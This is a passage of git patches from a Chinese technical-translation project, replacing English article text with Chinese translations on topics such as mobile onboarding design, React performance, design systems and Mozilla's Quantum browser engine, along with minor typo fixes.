 这个时候，我们做了两个决定。我们要在启动应用的时候加一个简单的流程，询问没有填完信息的用户是否要把信息填写完整（提醒并且教育用户）。我们第三个目标就是“让用户随时随地编辑自己的信息”。我们决定沿用我们现在的引导模式，然后在抽屉式导航中加一个简单的编辑图标，这样就会进行跳转。
 
-**Note:** One of our core values here at Intercom is “think big, start small”. We had been planning a navigation update for a while at this point. Moving from the drawer to the tab bar would be great for a variety of reasons, but would have been a ton of effort engineering wise at the time and we needed to ship fast.
 **注意：** 在 Intercom，我们其中的一个重要价值观就是“仰望星空，脚踏实地”。在这之前，我们一直在规划更新导航栏。，虽然加在底部导航栏中会比加在抽屉式导航栏中更好，然而那依赖于工程师大量的工作量，而我们需要尽快发布。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13225749/Current-navigation-vs-planned-navigation.png)
 
-At a system level, we established three states for users which would dictate their position within the walkthrough. From the chosen high-level direction, we knew that the the flow would consist of three primary steps (see diagram below) which we wanted to make as easy and lightweight as possible.
 在系统架构层面上，我们提出了 3 个用户状态，它们会让用户处于流程中的不同位置。在大方向上，我们知道流程由 3 个主要的步骤组成（示意图如下），这么做也是因为我们想让流程尽可能的简单和轻量。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182815/entry.png)
 
-Walkthroughs are pretty straightforward in terms of system design. They are a fixed pathway from beginning to end, but the logic gets more complex when taking user states into account. We’d want you to skip straight to the most relevant part instead of forcing you to go through the entire walkthrough. It’s also very important to consider platform specific steps such as camera permissions. Not every step is a new screen.
 系统设计的流程图还是很简单的，它从开始到结束是一段固定的路径，但是如果把用户状态也考虑进去，就会变得很复杂。但我们想让你直接跳到相关的步骤，而不是强迫你一定要走完整个流程。这里也需要考虑不同平台会有的特殊步骤，比如开启摄像头权限。不是所有的步骤都需要一个新页面。
 
-Again, these diagrams were printed out and put up in our war room. Engineers would often be at the wall scouring through the flow, and a few times they would spot an edge case that would require us make changes together.
 于是，这些图表也会打印出来并且挂在我们的办公室里。工程师会常常站在墙前浏览整个流程，有时候还会提出一些边界情况，需要我们一起再对流程进行修改。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211829/diagram.png)
 
-## Execution
 ## 建模
 
-By now we had the skeleton to start fleshing out each part. Visual and interaction design happened simultaneously, with the knowledge that we’d continue to tweak visuals as we build. We’ve found that finalising the details around any complex interactions or animations should be done as soon as possible (which is why high fidelity prototypes are great). It’s much harder to change these later on as opposed to visual design tweaks such as updated assets, colours, etc.
 到目前为止，我们已经有了框架，然后就可以将每个部分进行填充了。视觉和交互设计我们同时进行，然后在进行开发的时候也还要继续调整视觉。我们发现对于复杂的交互和动画，越早确定细节越好（这也是为什么高保真原型很棒的原因），因为之后再去做某些调整，比如更新资源、颜色等等，就会变得很困难，毕竟它和调整视觉设计不一样。
 
-We used [Framer JS](https://framer.com/) as a way to prototype early interaction ideas, discuss with engineering and agree on what could be done. Here’s an example of our final iOS flow after around 12 prototypes.
 我们使用 [Framer JS](https://framer.com/) 来实现初期的交互原型，并和工程师对最后可以实现什么效果进行了讨论。下面是我们 iOS 应用最终的原型图，它经历了整整 12 轮调整。
 
-From a visual design perspective, our mobile apps already followed closely to our brand. Any new designs need to maintain that language as well as reuse any patterns needed. We worked with our stellar [brand design team](http://intercombrandstudio.tumblr.com/) for illustrations on the intro and confirmation screens.
 从视觉设计的角度来说，我们的手机应用要和我们的品牌相契合。任何新的设计不仅需要在语言上保持一致性，还要重复使用必要的图案。所以我们和我们一流的[品牌设计团队](http://intercombrandstudio.tumblr.com/)一起合作完成了介绍页面和确认页面的图案。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211837/illustrations.png)
 
-Content was crucial to the education problem. We needed to explain why profiles were important in a concise way. Design worked closely with [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/), our content strategist, to create a more compelling experience and help users understand why a great profile matters.
 要成功说服用户，内容是至关重要的。我们需要解释清楚，为什么个人信息有那么重要。我们的内容策划师  [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/) 也会亲临设计工作，以此创造出更加扣人心弦的体验，并帮助用户理解个人信息的重要性。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20142756/Screen-Shot-2017-03-20-at-14.27.34-e1490020092177.png)
 
-## Testing and tweaking
 ## 测试和调整
 
-We were conscious of the disruptiveness of the walkthrough and how many people would most likely skip it, even after adding the option of reminding users to complete their profile later. Setting up metrics for component and overall completion was key, as well as allowing for a beta period to adjust based on results.
 即使我们添加了之后提醒我的选项，我们依然清楚，会有很多用户跳过，他们不会按照流程去走。所以关键是要对整体的完成率和组件完成率进行数据上的统计，然后基于结果在测试阶段进行调整。
 
-For our first beta, our initial completion rate was quite low, especially on Android. We made a variety of tweaks to the design, such as removing prominence from the remind me later button, altering layout and tweaking the content to be more playful and less instructive.
 我们第一个版本达成的完成率相当低，特别是安卓版本。所以我们对设计又做了大量的调整，比如让之后提醒我的按钮不那么明显，调整布局和内容，使其多一点趣味性，少一点指导意味。
 
-## Building a feature people actually use
 ## 开发一个用户真正会使用的功能
 
-Over about a week of quick tweaks and monitoring, the completion rate increased dramatically. Thanks to the input of multiple teams, we saw our **overall profile completion rate jump from 14% to 46% within a month**. The mobile walkthrough played a huge role in this push. We were also left with a concrete set of takeaways that we could apply to our next project:
 经过一周的快速调整与监控，用户的个人信息完成率大幅度上升。由于多个小组的共同参与，我们看到了我们**信息完成率在一个月内从 14% 涨到了 46%**。这种移动端的设计流程大大推动了完成率的上升，而我们也从中总结了一系列具体的关键点，可以让我们将其应用到下一个项目中去。
 
-- Make sure the problem is crystal clear to all stakeholders, across teams
-- Ground the problem in research and metrics, use high level goals to guide your solutions
-- No matter what you’re building, think big and start small
-- Design should work with engineering early and consistently to grab ideas and validate concepts
-- Interaction design should be nailed as soon as possible as it’s much easier to tweak visual designs while building
-- Know your metrics of success, track the success of your solution and make sure there’s time to tweak
 - 确保问题对所有利益相关者和所有团队都是清楚明确的
 - 用调查和数据解决问题，用概要目标去指导解决方案
 - 不管做什么都要脚踏实地仰望星空
@@ -148,7 +106,6 @@ Over about a week of quick tweaks and monitoring, the completion rate increased
 - 交互设计要尽早确定下来，趁着调整还不太难
 - 明确成功的度量方法，跟踪解决办法是否有效，并确保还有时间进行调整
 
-Following a clear, logical process like this vastly increased our chances of producing a feature that people actually use. It may seem like a lot of detail at first, but once you establish the habit it becomes second nature.
 遵循这样一个明确、有逻辑的流程，大大增加了用户真正去使用新特性的可能性。起初整个流程可能会看起来太复杂，但是一旦养成了习惯，就会成为下意识的做法。
 
 ---

From 426ead67465e0046af5062745feda1a1744cd4e3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 10:59:22 +0800
Subject: [PATCH 457/638] fix a typo.

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index b92d51fb8f5..ff0f41dcd55 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [495](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [494](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 

From 8a58d4947c040693286373bdf7b0379e792259e6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 11:53:20 +0800
Subject: [PATCH 458/638] Fix a typo

---
 ...n-principles-what-to-do-when-nobody-is-using-your-feature.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
index 2ecd1690ef0..458b3d9683f 100644
--- a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
+++ b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
@@ -37,7 +37,7 @@
 
 ### 进行系统的思考
 
-首先，我们抛开个人信息功能不谈，，这样可以帮助团队去理解系统架构，然后决策出哪些特定组件需要优先考虑。也就是说，列出现存组件、状态、规则等等。下面是一个会被贴到我们办公室墙上的例子。
+首先，我们抛开个人信息功能不谈，这样可以帮助团队去理解系统架构，然后决策出哪些特定组件需要优先考虑。也就是说，列出现存组件、状态、规则等等。下面是一个会被贴到我们办公室墙上的例子。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182819/system-1.png)
 

From 25019bbf0091b2c86c855735ce5b79a50de2ff1e Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Mon, 15 May 2017 14:33:18 +0800
Subject: [PATCH 459/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=B9=E5=8F=B7?=
 =?UTF-8?q?=E4=B8=89=E7=9A=84=E5=BB=BA=E8=AE=AE=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index 817a14ffe1d..ea7a6c69f3f 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -124,7 +124,7 @@ render() {
 
 #### 尽可能的保持 Props（和 State）简单和精简 ####
 
-理想情况下，传递给组件的 props 应该是它直接需要的。为了将值传给子组件而将一个大的，复杂的对象或者很多独立的 props 传递给一个组件会导致很多不必要的组件渲染（并且会增加开发复杂性）。
+理想情况下，传递给组件的 props 应该是它直接需要的。为了将值传给子组件而将一个大的、复杂的对象或者很多独立的 props 传递给一个组件会导致很多不必要的组件渲染（并且会增加开发复杂性）。
 
 在 Vixlet，我们使用 Redux 作为状态容器，所以在我们看来，最理想的是方案在组件层次结构的每一个层级中使用 [react-redux](https://www.npmjs.com/package/react-redux) 的 [connect()](https://github.com/reactjs/react-redux/blob/master/docs/api.md#connectmapstatetoprops-mapdispatchtoprops-mergeprops-options) 函数直接从 store 上获取数据。connect 函数的性能很好，并且使用它的开销也非常小。
 
@@ -154,7 +154,7 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 更多信息，请查阅相关文档 [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent)。
 
-#### 组件性能分析（在 Chrome 里）####
+#### 组件性能分析（在 Chrome 里）
 
 在新版本的 Chrome 里，timeline 工具里有一个额外的内置功能可以显示哪些 React 组件正在渲染以及他们花费的时间。要启用此功能，将 `?react_perf` 作为要测试的 URL 的查询字符串。React 渲染时间轴数据将位于 User Timing 部分。
 
@@ -164,7 +164,7 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 这是一个很棒的 NPM 包，他们给 React 添加补丁，当一个组件触发了不必要的重新渲染时，它会在控制台输出一个 console 提示。
 
-**注意**: 这个模块在初始化时可以可以通过一个过滤器匹配特定的想要优化的组件，否则你的命令行可能会被垃圾信息填满，并且可能你的浏览器会挂起或者崩溃，查阅 [why-did-you-update 文档](https://www.npmjs.com/package/why-did-you-update)获取更多详细信息。
+**注意**: 这个模块在初始化时可以通过一个过滤器匹配特定的想要优化的组件，否则你的命令行可能会被垃圾信息填满，并且可能你的浏览器会挂起或者崩溃，查阅 [why-did-you-update 文档](https://www.npmjs.com/package/why-did-you-update)获取更多详细信息。
 
 ### 常见性能陷阱
 

From 7ec1e1000c68337496898e6f97c7088892037fb7 Mon Sep 17 00:00:00 2001
From: yifili09 <yifili09@gmail.com>
Date: Mon, 15 May 2017 00:08:09 -0500
Subject: [PATCH 460/638] Add translation for [boring-design-systems.md]

---
 TODO/boring-design-systems.md | 102 +++++++++++++++++-----------------
 1 file changed, 51 insertions(+), 51 deletions(-)

diff --git a/TODO/boring-design-systems.md b/TODO/boring-design-systems.md
index 400a789a657..9a979426612 100644
--- a/TODO/boring-design-systems.md
+++ b/TODO/boring-design-systems.md
@@ -1,106 +1,106 @@
 > * 原文地址：[The Most Exciting Design Systems Are Boring](https://bigmedium.com/ideas/boring-design-systems.html)
 > * 原文作者：[JOSH CLARK](https://bigmedium.com/about/josh-clark.html)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)
 > * 校对者：
 
-# The Most Exciting Design Systems Are Boring #
+# 最激动人心的视觉系统其实是最枯燥乏味的! #
 
-[![Click to enlarge](https://bigmedium.com/bm.pix/normcore-lego-center.orig-250.jpg)](https://bigmedium.com/bm.pix/normcore-lego-center.jpg)
+[![点击放大](https://bigmedium.com/bm.pix/normcore-lego-center.orig-250.jpg)](https://bigmedium.com/bm.pix/normcore-lego-center.jpg)
 
-Let us celebrate normcore design systems.
+让我们欢迎中性舒适的视觉系统
     
-We’re building another enterprise design system, and we’re super-excited to make it boring.
+我们正在构建另一个企业级视觉系统，并且我们极力把它变得枯燥。
 
-[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly), and I have just begun helping a big company express and communicate a design system to govern their many web products. The company has two decades of digital products and a slew of production teams. Over time, the UX, UI, and technical underpinnings of the company’s interfaces have drifted out of sync. The goal is to give production teams a consistent design language and pattern library to solve common visual, UX, and technical challenges.
+[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly) 和我刚刚开始帮助一家大型企业快速设计一个视觉系统来管理支配他们众多的互联网产品。这家公司有着近 20 多年的数字产品的经验和大量的产品团队。长久以来，公司有关用户体验, 用户界面和用于巩固技术的接口已经疏于同步。我们的目标是赋予产品团队一个一致性的设计语言和模式库，它可以解决常见的视觉、用户体验和背后的技术问题。 
 
-With projects like this, there’s often a strong temptation to throw out the old and start fresh with fancy new design components. “If we’re going to establish standards,” whispers the devil on your shoulder, “then let’s get rid of all the old stuff. Let’s blow it out with a new look, fancy interactions, and a shiny tech framework.” (Or my favorite: “Let’s make our own Material Design.”)
+对于和这个项目类似的情况来说，它会让你忍不住要抛弃现有的内容，然后使用最新的设计组件全新开始。『 如果我们准备建立标准，』(此时) 恶魔会在你身边耳语道，『 那么，让我们彻底摆脱所有的旧牵绊。让我们用一个有着全新外观、时髦交互方式和闪耀的技术框架的新系统彻底结束它吧。』（或者我最爱说的：『 让我们自己来设计。』）
 
-Design-system builders should resist the lure of the new. Don’t confuse design-system work with a rebrand or a tech-stack overhaul. The system’s design patterns should be familiar, even boring.
+视觉系统工程师应该抵住新事物的诱惑。不要把系统设计的工作和重塑或者技术栈的检查相混淆。系统设计的模式应该很相似，甚至是枯燥乏味的。
 
-The job is not to invent, but to curate.
+这份工作不是发明，而是策划。
 
-## Solved problems and settled science ##
+## 已经解决的问题和已解决的科学 ##
 
-Design systems are containers for institutional knowledge. They provide tested and proven solutions to design problems. When these solutions are held together by a consistent visual language and UX guidelines, they represent what good design looks like for the organization or platform.
+设计系统包含了机构内的知识。他们提供了针对设计问题的设计方案，这些解决方案都已经过测试和验证。当这些解决方案被统一的视觉语言和用户体验指导方案组合的时候，它们就代表了组织机构或者平台应该有的良好设计。
 
-For projects like this one, we work with our client partners to identify the design problems their teams confront *over and over again*. And then we identify and extract the best solutions to those problems.
+对于和这个类似的项目来说，我们**一次一次地**和客户端合作伙伴一起协作来确定他们团队的设计问题直到他们满意。之后，确定和提出对这些问题的最优解决方案。
 
-The more common the problem, the better. Design systems should prioritize the mundane.
+问题越常见越好。设计系统应该优先考虑常见的东西。
 
-This time around, we’re putting top priority on data entry, form validation, and messaging. Those aren’t exactly glamorous design experiences, but they’re where the company does its heavy lifting and where customers spend the most time. This is where boring gets exciting: how do you scale good, consistent, everyday design?
+此时此刻，我们优先考虑数据入口，表单的验证和信息传递。这些并不是完美的设计体验，但是它们却是每个公司业务的重中之重，也是客户们花费时间最多的地方。这也是为什么枯燥乏味的事情却令人兴奋的地方：你如何对每天的设计更好的扩展且保证一致性？
 
-[![Click to enlarge](https://bigmedium.com/bm.pix/lego-office.orig-250.jpg)](https://bigmedium.com/bm.pix/lego-office.jpg)
+[![点击放大](https://bigmedium.com/bm.pix/lego-office.orig-250.jpg)](https://bigmedium.com/bm.pix/lego-office.jpg)
 
-Where’s the pain? We’re interviewing designers and developers to identify repetitive tasks.
+痛点在哪里？ 我们正尝试从设计师和开发人员处定位这些重复的任务。
     
-The work starts with lots of user research, just like any other product. We’re talking to the company’s developers, designers, and product managers to identify repetitive tasks and unearth reinvented wheels. We’re doing a deep inventory of the company’s web apps to find the best-practice solutions to these problems. We’re doing a similar inventory of the company’s inconsistent visual styles to begin to reinforce a common visual language.
+这个工作从很多用户调研开始，和其他产品一样。我们直面公司的程序员，设计师和产品经理们来定位重复的任务和发掘重复制造的轮子。我们进行了对该公司网络产品的深度研究并尝试找到应对这些问题的最优解决方案。我们也对该公司不一致的视觉风格列出清单，并开始重新强化一个通用的视觉语言。
 
-At the end of the process, we’ll have a cookbook of design recipes for the company’s most *nutritious* business solutions. There will be lots more spinach here than design candy. That’s a good thing.
+在这个流程的最后，我们将会为该公司最**有利**的商业解决方案制作一个设计的参考。其中会包含很多干货而非那些看似有用的知识。它会很有用。
 
-## “Boring” design systems enable inventive designs ##
+## 创新性的设计来自于那些 『 枯燥 』 的设计 ##
 
-When the design system is boring, it frees designers and developers to do the new stuff, to solve new problems. **The design system carries the burden of the boring, so that designers and developers don’t have to.**
+当设计系统很枯燥乏味的时候，它能释放设计师和开发人员做更多新的东西，去解决新的问题。**设计系统解决了乏味的事情，所以设计师和开发人员就不用操心了。**
 
-Instead of designing a card pattern for the 15th time, it’s already done. Product teams can instead put their time and energy into creating new experiences, new algorithms, new business logic.
+不必第 15 次的重复设计卡片的样式，因为它已经被实现了。产品团队能够把时间和精力放到如何创建新的体验，新的算法和新的商业逻辑上。
 
-[![Click to enlarge](https://bigmedium.com/bm.pix/scientist.orig-250.jpg)](https://bigmedium.com/bm.pix/scientist.jpg)
+[![点击放大](https://bigmedium.com/bm.pix/scientist.orig-250.jpg)](https://bigmedium.com/bm.pix/scientist.jpg)
 
-When the design system absorbs mundane problems, designers and developers are freed to pursue new science and higher-order problems.
+当设计系统消减了了那些枯燥问题的时候，那些设计师和开发人员们才能放手去从事新技术和高阶的问题。
     
-This also means that a wonderfully boring design system does more than provide collections of buttons, color swatches, and code samples. Components are commodities. The magic happens in the guidelines that come with them. A great design system suggests which design patterns to use (along with the why and how) for specific circumstances. This elevates a collection of UI components into full-blown design patterns. Designers have readymade solutions for the company’s everyday problems.
+这也意味着一个不错的设计系统比能提供很多按钮、颜色板和样例代码做的更多。这些组件都是常见的。奇妙的事情是伴随着他们出现在指导手册中。一个伟大的设计系统会对某些特定情况建议使用哪个设计模式（连同为什么和怎么做一起）。这将仅聚合用户接口组件推向了一个完整的设计模式。设计师对每天公司日常的问题都有了现成的解决方案。
 
-“Every moment spent saying, ‘should this be a popup or lightbox?’ is waste,” one design manager told us during our research for this latest project.
+『 任何时候考虑，比如 「 这里应该展示一个弹出窗口还是提示框？」这类问题都是浪费时间。』这是一位设计经理在这个最近项目上的调研过程中告诉我们的。
 
-## Faster, faster ##
+## 更快，更快 ##
 
-All of this leads to big speed increases. Big Medium helped a major retailer get their design systems group up and running, and the results have been, well, crazy. “We have a 10x increase in speed compared to how we worked before,” the group’s manager reports. “That is, we can do higher quality work 10x faster with a fourth the number of people.”
+所有这些都能带来速度上大大的提升。[Big Medium 公司](https://bigmedium.com) 帮助一个重要的零售商搭建并且运行起了他们的设计系统，并且结果出人意料。『 相比之前的工作，我们的速度提升了 10 倍，』团队经理如实汇报道，『 也就是说，我们能仅用四分之一的员工完成 10 倍的高质量的工作。』
 
-[![Click to enlarge](https://bigmedium.com/bm.pix/before-after-design-system.orig-250.png)](https://bigmedium.com/bm.pix/before-after-design-system.png)
+[![点击放大](https://bigmedium.com/bm.pix/before-after-design-system.orig-250.png)](https://bigmedium.com/bm.pix/before-after-design-system.png)
 
-Worth re-emphasizing: this speed and consistency does *not* have to mean cookie-cutter products. Instead, getting the boring stuff out of the way in the design system means product teams have running room to invent the new. In fact, the products are the laboratory for the system’s future patterns.
+值得强调重申的是: 这样的速度和一致性并**不**意味着是千篇一律的产品。相反，在设计系统中解决枯燥乏味的工作意味着产品团队有更多创造发明的空间。事实上，这些产品就是系统未来模式的孵化器。
 
-## Invention happens in the products ##
+## 在产品中发明创造 ##
 
-Designers and developers sometimes approach design systems or pattern libraries warily. While most appreciate the need for consistency, they worry that a design system will be too prescriptive and constraining, that there will be no room for new science. “A design system is like public transportation: it’s a good idea, for other people,” one designer told us in describing these mixed feelings.
+有些设计师和开发人员常常小心谨慎地对待设计系统或者模式库。尽管大部分人重视一致性的需求，但他们担心一个设计系统会太过教条和有限制性，这会阻碍创新。『 设计系统就好像公共交通工具: 对其他人来说，它是一个好主意。』一位百感交集的设计师如是说道。
 
-Done right, though, design systems actually encourage and reward innovation by product teams. Designers and developers can build upon, improve, and occasionally replace the design system’s recommendations.
+产品团队应做正确的事，尽管如此，设计系统其实是鼓励创新的。设计师和开发人员能依赖它创建、提高，也可以偶尔替换设计系统中的建议。
 
-It should be a virtuous cycle. New ideas should be tried and tested in products. When good ideas prove out, they should be plucked out and included in the design system, so that future products can benefit. The latest solutions awesomely become the new boring.
+它应该是一个良性循环。新的理念应该在新的产品上进行尝试和测试验证。当好想法被证明是可行的时候，它们应该被采纳并且加入进设计系统中，以便未来的产品能获益。这些最新的解决方案都会赫然变成新常态。
 
-**Design systems should always extract their patterns from working code.** In our design system work, we do this in two ways:
+**设计系统应该始终从当前的代码中提取它们的模式。** 在我们的设计系统中，我们采用以下两个方式:
 
-1. Extract proven patterns from legacy applications.
-2. Build pilot apps alongside the design system that prove out new and necessary design patterns.
+1. 从现存的应用程序中提取被证明可行的模式。
+2. 和设计程序一起创建试点应用程序，它能证明新的和必要的设计模式是可行的。
 
-This is likewise how sturdy code frameworks emerge in the development world. Ruby on Rails was extracted from the first version of Basecamp, only *after* its core concepts had been proven in production. Design patterns and UX guidelines emerge from production projects, too.
+这就好像健壮的框架代码是如何从持续发展的项目中显现的。Ruby on Rails 是从第一代的 Basecamp 中提取出的，只有核心概念**经过**产品的证明。设计模式和用户体验指导手册也同样来自于那些量产的项目。 
 
-Design systems, like code frameworks, are no place for untested ideas. Extract proven ideas from production interfaces.
+设计系统，如核心框架，容不下未经测试的想法。请从量产接口中提取那些被证明过可行的想法。
 
-## This is the canon ##
+## 这是规则 ##
 
-[Dan](http://superfriend.ly) likes to use Star Wars (of course) as a metaphor for this process. The Star Wars universe is thick with unofficial tales—the novels, comic books, and fan fiction that build upon the films’ original backstory. That official story is [the Star Wars canon](https://en.wikipedia.org/wiki/Star_Wars_canon), which is carefully managed and groomed by Lucasfilm. The rest is known as “the expanded universe,” and all of its characters, species, galaxies, alliances, and so on are considered off script—until they’re not.
+[Dan](http://superfriend.ly) 喜欢使用星球大战 (当然) 作为一个对这个流程的暗喻。星球大战的世界充满了各种非官方的传奇故事、动漫图书以及爱好者们的科幻作品，当然它们都是基于电影原作的背景故事的。这个官方的故事是 [星球大战正典故事](https://en.wikipedia.org/wiki/Star_Wars_canon)，它是由 Lucas 电影精心编排制作和管理的。其余的是我们所知的 ”衍生的宇宙“，所有的这些角色、种族、星系、联盟和其他的那些都不被考虑在剧本中-除非他们进入正典。
 
-Every so often, the minders of the Star Wars canon accept elements of the “expanded universe” into the official story. They, too, become canon.
+常常，星球大战正典维护者们会采纳 ”衍生的宇宙“ 中的元素纳入官方故事。它们也就变成了正典中的一部分。
 
-[![Click to enlarge](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.orig-250.jpg)](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.jpg)
+[![点击放大](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.orig-250.jpg)](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.jpg)
 
-Everyone’s happy when you build a virtuous cycle between the design system (the canon) and applications (the extended universe).
-    
-In Dan’s metaphor, your company’s design system is your design canon. Others go out and build apps and new design patterns on top of it (the “expanded universe”). Some of those design patterns will be so useful and so in tune with good design at your company that they too will become canon.
+当你能在设计系统（比如 正典故事）和应用程序（衍生的宇宙）之间创建一个良性的循环系统，每个人都会很乐意看到这样的结果。
+
+在 Dan 的暗喻中，你公司的设计系统就是你的设计正典。其他人公布、创建的应用程序和那些新的设计模式都基于它（比如，『 衍生的宇宙 』）。其中的有些设计模式将会是很有用出的，并且与你公司好的设计步调一致，它们也会变成正典。
 
-That’s the virtuous cycle between design system and product. If you’re the manager of the design system, you get to be the George Lucas of this story. Only you’ll need a lot more humility.
+这就是设计系统和量产产品之间的良性循环。如果你是一位设计系统的经理，你将会成为这个故事中的 `George Lucas`。当然你将需要更加谦虚。 
 
-## The humility of the work ##
+## 谦卑的工作 ##
 
-Successful design systems are in constant service to many audiences—designers, developers, product managers, and of course the end user.
+成功的设计系统不断为许多设计师、开发人员、产品经理、当然也少不了终端用户服务。
 
-That spirit of service means that keepers of design systems have to keep ego at bay. A design system is not a place to push new frontiers but to gather settled solutions.
+这种服务精神意味着设计系统的维护者们切勿浮想联翩，需要握紧手中的线。一个设计系统不是崇尚前沿科技的地方，而是汇集成功解决方案的地方。
 
-Crafting a design system is about clearing the way for others to invent and imagine. And that means boring has never been so exciting.
+打造一个设计系统是为其他人的创新和猜想扫清道路。那就意味着枯燥乏味的内容永远不会变得令人兴奋。
 
 
-*Is your organization wrestling with inconsistent interfaces and duplicative design work? Big Medium helps big companies scale great design through design systems. [Get in touch](https://bigmedium.com/hire/) for a workshop, executive session, or design engagement.*
+**你的机构是否在全力对付不一致性的接口和重复的设计工作？ Big Medium 帮助大型企业通过设计系统规划大型设计。需要工作讨论会、执行会议或者让我们参与设计，[请联系我们](https://bigmedium/com/hire)**
 
 
 ---

From 120aa2fd18ba20eb7c22c99503e6c1b378f20369 Mon Sep 17 00:00:00 2001
From: Dalston Xu <xxdalston@gmail.com>
Date: Mon, 15 May 2017 22:12:38 +0800
Subject: [PATCH 461/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E4=B8=80=E6=A0=A1?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

根据一校意见修改
---
 ...antum-up-close-what-is-a-browser-engine.md | 30 +++++++++----------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
index ce36f59079d..1ce7f249afb 100644
--- a/TODO/quantum-up-close-what-is-a-browser-engine.md
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -2,15 +2,15 @@
 > * 原文作者：[Potch](http://potch.me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[吃土小2叉](https://github.com/xunge0613)
-> * 校对者：
+> * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[yzgyyang](https://github.com/yzgyyang)
 
-# 走近 Quantum：浏览器引擎解密 #
+# 解密 Quantum：现代浏览器引擎的构建之道 #
 
-2016 年 11 月，[Mozilla 公布了 Quantum 计划](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12) —— 倡议开创下一代浏览器引擎。现在这一计划已然步入正轨。实际上，我们在上个月刚更新的 Firefox 53 中[首次引入了 Quantum 计划的部分核心内容](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/) 。
+2016 年 11 月，[Mozilla 公布了 Quantum 项目](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12) —— 倡议开创下一代浏览器引擎。现在这一项目已然步入正轨。实际上，我们在上个月刚更新的 Firefox 53 中[首次包含了 Quantum 的部分核心代码](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/) 。
 
-但是，我们意识到对于那些不从事开发浏览器的人来说（大多数人！），实际上很难察觉到这些改动对于 Firefox 有着重大意义。毕竟，许多改动对于用户来说是不可见的。
+但是，我们意识到对于那些不从事浏览器开发的人来说（而且是大多数人），很难明白这些改动对于 Firefox 的重大意义。毕竟，许多改动对于用户来说是不可见的。
 
-意识到这点后，我们开始撰写一系列博客文章来深度解读 Quantum 计划正在做什么。我们希望通过这一系列的文章，能够帮助大家理解 Firefox 的工作原理，以及 Firefox 是如何打造一款下一代浏览器引擎，从而更好地利用现代计算机的硬件性能。
+意识到这点后，我们开始撰写一系列博客文章来深度解读 Quantum 项目正在做什么。我们希望通过这一系列的文章，能够帮助大家理解 Firefox 的工作原理，以及 Firefox 是如何打造一款下一代浏览器引擎，从而更好地利用现代计算机的硬件性能。
 
